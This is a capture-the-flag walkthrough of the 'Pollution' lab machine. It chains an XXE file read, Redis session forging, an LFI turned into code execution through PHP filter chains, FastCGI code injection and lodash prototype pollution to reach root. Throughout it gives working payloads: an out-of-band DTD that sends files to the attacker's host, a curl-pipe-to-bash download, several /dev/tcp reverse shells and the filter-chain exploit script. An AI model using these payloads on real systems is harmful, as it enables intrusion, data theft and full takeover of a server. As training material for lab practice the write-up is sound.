Introduction
Pollution is a hard-difficulty Linux machine running a PHP web application with a connected Redis session store and an internal Node.js API. The attack chains four distinct techniques together cleanly. The full path to root:
- Enumeration → Nmap finds SSH (22), Apache (80), and Redis (6379); vhost fuzzing reveals
forum.collect.htbanddevelopers.collect.htb - MyBB forum → register a forum account → find a leaked Burp proxy history file → decode a hardcoded admin token and the
/set/role/adminendpoint - Admin panel → XXE → the admin panel sends XML to
/api; the parser is vulnerable to XML External Entity injection; use an out-of-band DTD payload to read arbitrary files from the server - XXE file reads → read the Apache vhost config → find the
.htpasswdpath → crack the hash → get credentials fordevelopers.collect.htb - Redis session manipulation → source code of
bootstrap.phpleaks the Redis password; use it to setauth=truein our session and bypass the developers login - LFI → RCE → the developers app includes files based on a URL parameter with no sanitisation; use PHP filter chains to turn the LFI into code execution; land a shell as
www-data - Lateral movement →
php-fpmis running internally on port 9000 as uservictor; use a FastCGI exploit script to inject PHP code and get a shell asvictor→ user flag - Privilege escalation → a Node.js API (pollution_api) runs on port 3000 as
root; it uses a vulnerable version oflodash(4.17.0); exploit prototype pollution to override the shell used bychild_process.execand get a root shell
Key Concepts
What are virtual hosts (vhosts)? A single web server can host multiple websites under different domain names, all on the same IP. The server uses the HTTP Host header to decide which site to serve. “Vhost fuzzing” means sending requests with lots of possible hostnames in the Host header and watching for responses that differ from the default - those are real hidden subdomains.
What is XXE (XML External Entity Injection)? XML allows you to define “entities” - reusable chunks of text. One type, an external entity, tells the XML parser to fetch content from a URL or file path. If an application passes user-supplied XML to a parser without disabling external entities, an attacker can make the parser read local files (/etc/passwd, config files, source code) or make outbound requests to attacker-controlled servers. Out-of-Band XXE exfiltrates the data by making the server fetch a URL that contains the stolen content as a query parameter.
What is a DTD? Document Type Definition - a file that defines the structure and entities for an XML document. In XXE attacks, we host a malicious .dtd file on our server, then make the target’s XML parser fetch and process it. This lets us define complex entity chains that can read files and send their contents to us, all without the file contents ever appearing in the server’s response.
What is Redis? An in-memory key-value store often used to cache sessions, queues, and other temporary data. When PHP applications store sessions in Redis, the session data (including auth flags) is just a key-value pair in the database. If you know the Redis password and have network access to it, you can directly read or write session data - bypassing the application’s login form entirely.
What is LFI (Local File Inclusion)? A vulnerability where a web application uses user input to determine which file to load and display. If the input isn’t sanitised, an attacker can make the application load unintended files - like /etc/passwd or application config files. When combined with PHP’s php://filter wrapper, it becomes more powerful: you can encode file contents in base64 to exfiltrate them, and with clever chaining of encoding conversions, you can even generate and execute arbitrary PHP code without ever writing a file to disk.
What is PHP-FPM? PHP FastCGI Process Manager. It processes PHP scripts and handles incoming FastCGI requests. When php-fpm is running on an internal port, an attacker who has compromised the web server can talk to it directly via a FastCGI client. The FastCGI protocol lets you set PHP configuration values per-request, including auto_prepend_file - meaning you can inject PHP code that runs before any legitimate PHP file, effectively achieving code execution as whatever user php-fpm is running as.
What is Prototype Pollution? A JavaScript vulnerability. In JavaScript, every object has a __proto__ property pointing to its prototype - the object it inherits methods and properties from. If an application uses a function like merge() to combine user-supplied JSON with an internal object, and the user supplies a key named __proto__, they can inject properties into the global prototype. Any other object in the application that doesn’t explicitly set that property will then inherit the injected value - potentially overriding critical settings like the shell used by child_process.exec.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | Standard |
| 80 | HTTP - Apache | Web app, domain collect.htb |
| 6379 | Redis | In-memory data store - interesting |
Add the domain to your hosts file:
echo "<TARGET> collect.htb" | sudo tee -a /etc/hosts
Vhost Fuzzing
A domain like collect.htb may have hidden subdomains. Fuzz with wfuzz, hiding responses that have the same line count as the default (541 lines):
wfuzz -c \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://<TARGET> \
-H "Host: FUZZ.collect.htb" \
--hl 541
Discovered subdomains: forum.collect.htb and developers.collect.htb
echo "<TARGET> forum.collect.htb developers.collect.htb" | sudo tee -a /etc/hosts
developers.collect.htb immediately asks for HTTP Basic Auth - credentials unknown for now. Start with the forum.
Forum Enumeration → Admin Token
MyBB Forum
forum.collect.htb runs MyBB forum software. Browsing the threads reveals a post with a file attachment called proxy_history.txt - a Burp Suite proxy export containing base64-encoded HTTP requests and responses. Register a forum account and log in to download it.
Decoding the Proxy History
Inside the file, one request stands out. Decode it:
echo "UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCk..." | base64 -d
The decoded request reveals:
POST /set/role/admin HTTP/1.1
Host: collect.htb
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
token=ddac62a28254561001277727cb397baf
This is a hardcoded admin token that promotes any user to admin. Register an account on collect.htb and use it:
curl http://collect.htb/set/role/admin \
-X POST \
-b "PHPSESSID=<YOUR_SESSION>" \
-d "token=ddac62a28254561001277727cb397baf"
Now browse to http://collect.htb/admin - you’re in the admin panel.
Why does a token like this exist? It’s likely a leftover developer shortcut - a “set my own account to admin” endpoint that was never removed before the app went live. The proxy history file exposed it because a developer left their Burp export in a public forum thread.
XXE Injection → File Read
Finding the XML Endpoint
The admin panel has a registration form for the “Pollution API”. Intercepting the form submission in Burp Suite shows it posts XML to /api:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>test</username>
<password>test</password>
</user>
</root>
User-supplied XML going into a parser is an immediate XXE candidate.
Confirming XXE
Start a Python HTTP server:
python3 -m http.server 8000
Send a payload that makes the server fetch a URL from your machine:
curl -X POST http://collect.htb/api \
-b "PHPSESSID=<YOUR_SESSION>" \
-d 'manage_api=<!DOCTYPE root [<!ENTITY % xpl SYSTEM "http://<YOUR_IP>:8000/">%xpl;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>'
Your HTTP server receives an incoming request - the server fetched the URL, confirming XXE. Since the app doesn’t reflect the file contents in the response, we need Out-of-Band exfiltration.
Out-of-Band XXE with a Malicious DTD
The technique: host a .dtd file that defines entities to (1) read a file, (2) embed its contents into a URL, and (3) fetch that URL - sending the file contents to your server as a query parameter.
Create xpl.dtd on your machine:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % payload "<!ENTITY % run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;
Send the payload:
curl -X POST http://collect.htb/api \
-b "PHPSESSID=<YOUR_SESSION>" \
-d 'manage_api=<!DOCTYPE root [<!ENTITY % xpl SYSTEM "http://<YOUR_IP>:8000/xpl.dtd">%xpl;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>'
Your HTTP server receives two requests: one for xpl.dtd, and one like /?leak=cG9sbHV0aW9uCg==. Decode the leak:
echo 'cG9sbHV0aW9uCg==' | base64 -d
# pollution
You can now read any file the web server has access to.
Why
php://filter/convert.base64-encode? Files may contain characters (newlines, XML special chars like<and&) that would break the XML structure and prevent exfiltration. Base64-encoding the file contents first ensures the data arrives as clean alphanumeric text that embeds safely in a URL.
Reading Critical Files
Step 1 - Apache vhost config (to find where files live):
Update xpl.dtd to read the developers vhost config:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-available/developers.collect.htb.conf">
<!ENTITY % payload "<!ENTITY % run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;
Decoding the response reveals the config, which shows:
DocumentRoot /var/www/developersAuthUserFile /var/www/developers/.htpasswd
Step 2 - Read .htpasswd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/.htpasswd">
<!ENTITY % payload "<!ENTITY % run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;
Decoded result:
developers_group:$apr1$ksVJsRCn$t8yOJn5QB54ovAxP8L.4e0
Cracking the Hash
echo '$apr1$ksVJsRCn$t8yOJn5QB54ovAxP8L.4e0' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Credentials: developers_group : r0cket
Log into developers.collect.htb with HTTP Basic Auth using these credentials. You’re past the first gate - but there’s another login form inside.
Redis Session Manipulation → Developers Login Bypass
Reading Source Code via XXE
The inner login form doesn’t accept the same credentials. Use XXE to read the app’s source code.
Read index.php:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/index.php">
The decoded code shows:
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}
// ...
include($_GET['page'] . ".php"); // <-- LFI!
Two discoveries: the app checks $_SESSION['auth'] == True, and the page parameter is directly included with .php appended - a Local File Inclusion vulnerability.
Read bootstrap.php (included by index.php):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/bootstrap.php">
Decoded result:
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
session_start();
Redis password: COLLECTR3D1SPASS
Forging the Session
PHP serialises the session auth value as auth|b:1; (boolean true). Connect to Redis and write it directly into your session:
nc -v collect.htb 6379
auth COLLECTR3D1SPASS
set "PHPREDIS_SESSION:<YOUR_PHPSESSID>" "auth|b:1;"
Reload developers.collect.htb in your browser - you’re now authenticated and land on the app’s home page.
Why does this work? The PHP application trusts the Redis session store completely. There’s no signed token or integrity check on the session data - whoever can write to Redis can set any session value they like. The Redis server was reachable from outside because it had no firewall rule blocking port 6379.
LFI → RCE → Shell as www-data
The Vulnerability
index.php does this:
include($_GET['page'] . ".php");
The page parameter is user-controlled with no sanitisation. This is LFI - we can make it include other PHP files. But we need code execution, not just file reads.
PHP Filter Chain RCE
Researchers discovered that PHP’s convert.iconv.* filter chain can be used to synthesise arbitrary bytes from an existing file, effectively turning an LFI into arbitrary code execution without needing to write any file to disk. A Python script automates this.
Prepare the reverse shell file (bash.sh):
echo '/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/1337 0>&1"' > bash.sh
Start your listeners:
# Serve bash.sh
python3 -m http.server 8000
# Catch the shell
nc -nvlp 1337
Run the LFI-to-RCE script (modify command and PHPSESSID):
import requests
url = "http://developers.collect.htb/index.php"
file_to_use = "home"
command = "curl <YOUR_IP>:8000/bash.sh|bash"
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
filters = "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
cookies = {"PHPSESSID": "<YOUR_PHPSESSID>"}
headers = {"Authorization": "Basic ZGV2ZWxvcGVyc19ncm91cDpyMGNrZXQ="} # developers_group:r0cket
r = requests.get(url, params={"0": command, "action": "include", "page": final_payload},
cookies=cookies, headers=headers)
Running the script triggers bash.sh on the target, which connects back:
www-data@pollution:/srv/altered/public$
Lateral Movement: www-data → victor
Internal Services
Check what’s listening internally:
ss -tnlp
Two interesting internal ports: 3000 (Node.js app) and 9000 (PHP-FPM).
Verify PHP-FPM and check which user it runs as:
ps aux | grep php-fpm
cat /etc/php/8.1/fpm/pool.d/www.conf
# user = victor
PHP-FPM on port 9000 runs as victor. FastCGI lets us inject PHP code into any running PHP process it handles.
FastCGI Code Injection
Download the fpm.py FastCGI exploit script onto the target and serve it from your local machine:
# On your machine
python3 -m http.server 8000
# On the target
wget <YOUR_IP>:8000/fpm.py -O /tmp/fpm.py
Test execution with id:
python3 /tmp/fpm.py localhost /var/www/developers/index.php -c '<?php system("id");?>'
# uid=1000(victor) gid=1000(victor) ...
Now get a shell. Start a listener:
nc -nvlp 8001
Send the reverse shell payload:
python3 /tmp/fpm.py localhost /var/www/developers/index.php \
-c '<?php system("/bin/bash -c \"bash -i >& /dev/tcp/<YOUR_IP>/8001 0>&1\"");?>'
Shell received as victor.
User Flag
cat /home/victor/user.txt
Privilege Escalation: Prototype Pollution → Root
The Internal API
Port 3000 is running a Node.js application as root. Confirm:
ps aux | grep api
curl 127.0.0.1:3000
# Read documentation from api in /documentation
A backup of the app lives at /home/victor/pollution_api. Transfer it to your machine for source code review:
# On the target
tar -zcf /tmp/pollution_api.tgz /home/victor/pollution_api
# On your machine - listen first
nc -lnvp 8000 > pollution_api.tgz
# On the target - send
nc <YOUR_IP> 8000 < /tmp/pollution_api.tgz
# Unpack locally
tar -zxvf pollution_api.tgz
Code Review
index.js - Express app listening on port 3000, running as root.
routes/documentation.js - Lists API routes including /admin/messages/send.
controllers/Messages_send.js - The critical file:
const lodash = require("lodash"); // line 3
// ...
lodash.merge(message, req.body); // line 15 - merges user input!
exec("log.sh", ...); // line 17 - runs a shell command
package.json - lodash version 4.17.0.
Lodash 4.17.0 is vulnerable to CVE-2018-16487 - prototype pollution via merge() when user input contains a __proto__ key. Since exec() inherits its options from the prototype chain, we can override the shell option to make it run our own binary instead of /bin/sh.
Exploiting the API
Step 1 - Register a user:
curl -X POST -H "Content-Type: application/json" \
http://localhost:3000/auth/register \
-d '{"username":"pwner","password":"test"}'
Step 2 - Elevate to admin via MySQL (credentials found in the app source):
mysql -u webapp_user -p
# enter password from source code
use pollution_api;
update users set role="admin" where username="pwner";
Step 3 - Log in and get a JWT:
curl -X POST -H "Content-Type: application/json" \
http://localhost:3000/auth/login \
-d '{"username":"pwner","password":"test"}'
# Returns: {"token":"eyJ..."}
Step 4 - Create the fake shell that will be executed as root:
echo -e '#!/bin/bash\n/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1"' \
> /home/victor/fakeshell && chmod +x /home/victor/fakeshell
Step 5 - Start listener:
nc -nvlp 1234
Step 6 - Trigger prototype pollution:
curl -X POST \
-H "Content-Type: application/json" \
-H "x-access-token: <YOUR_JWT>" \
http://localhost:3000/admin/messages/send \
-d '{"text":"pwn","__proto__":{"shell":"/home/victor/fakeshell"}}'
The merge() call injects shell into the global prototype. When exec("log.sh") runs on line 17, it inherits shell: /home/victor/fakeshell - and runs our script as root.
Root shell received on port 1234.
Why does overriding
shellwork? Node.js’schild_process.exec()has an options object with ashellkey that defaults to/bin/sh. When lodash’s vulnerablemerge()copies{"__proto__": {"shell": "/home/victor/fakeshell"}}into the message object, it walks up the prototype chain and setsObject.prototype.shell. Every subsequent object in the process that doesn’t explicitly setshell- including the options object passed toexec()- now inherits our value.
Root Flag
cat /root/root.txt
Summary
nmap → ports 22 (SSH), 80 (Apache), 6379 (Redis)
↓
wfuzz vhost fuzz → forum.collect.htb, developers.collect.htb
↓
forum.collect.htb → register → find proxy_history.txt attachment
↓
base64 decode proxy history → POST /set/role/admin + token=ddac62a2...
↓
curl → set own role to admin on collect.htb → access /admin panel
↓
admin panel → XML form → POST /api → XXE confirmed (server fetches our URL)
↓
Out-of-Band XXE with malicious xpl.dtd:
→ /etc/apache2/sites-available/developers.collect.htb.conf
→ AuthUserFile = /var/www/developers/.htpasswd
→ /var/www/developers/.htpasswd → hash: $apr1$ksVJsRCn$...
↓
john hash.txt --wordlist=rockyou.txt → r0cket
↓
developers.collect.htb → HTTP Basic Auth: developers_group:r0cket
↓
XXE → /var/www/developers/index.php → auth check + LFI via ?page=
XXE → /var/www/developers/bootstrap.php → Redis password: COLLECTR3D1SPASS
↓
nc collect.htb 6379 → auth COLLECTR3D1SPASS
→ set PHPREDIS_SESSION:<id> "auth|b:1;" → session forged → logged in
↓
LFI: ?page=<php filter chain> → arbitrary PHP execution
→ curl bash.sh | bash → reverse shell as www-data
↓
ss -tnlp → port 9000 (php-fpm) + port 3000 (Node.js API)
ps aux → php-fpm runs as victor; node api runs as root
↓
fpm.py localhost /var/www/developers/index.php → PHP injection → shell as victor
→ USER FLAG (/home/victor/user.txt)
↓
/home/victor/pollution_api → source review:
Messages_send.js: lodash.merge(message, req.body) + exec("log.sh")
lodash version 4.17.0 → CVE-2018-16487 (prototype pollution)
↓
mysql → set role=admin for our user
curl /auth/login → JWT
create /home/victor/fakeshell (bash reverse shell)
curl /admin/messages/send -d '{"text":"x","__proto__":{"shell":"/home/victor/fakeshell"}}'
↓
exec() inherits polluted shell → runs fakeshell as root → root shell
→ ROOT FLAG (/root/root.txt)
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Port scanning and service detection | sudo apt install nmap |
| wfuzz | Vhost/subdomain fuzzing | sudo apt install wfuzz |
| Burp Suite | HTTP proxy for intercepting requests | portswigger.net/burp |
| curl | Send crafted HTTP requests from the command line | Built into Kali |
| python3 -m http.server | Serve files to the target (DTD, scripts, shell) | Built into Python 3 |
| john (JohnTheRipper) | Crack password hashes | sudo apt install john |
| netcat (nc) | Reverse shell listener and file transfer | Built into Kali |
| fpm.py | FastCGI client - injects PHP code into php-fpm | github.com/wuyunfeng/Python-FastCGI-Client |
| mysql | Connect to the MySQL database | sudo apt install default-mysql-client |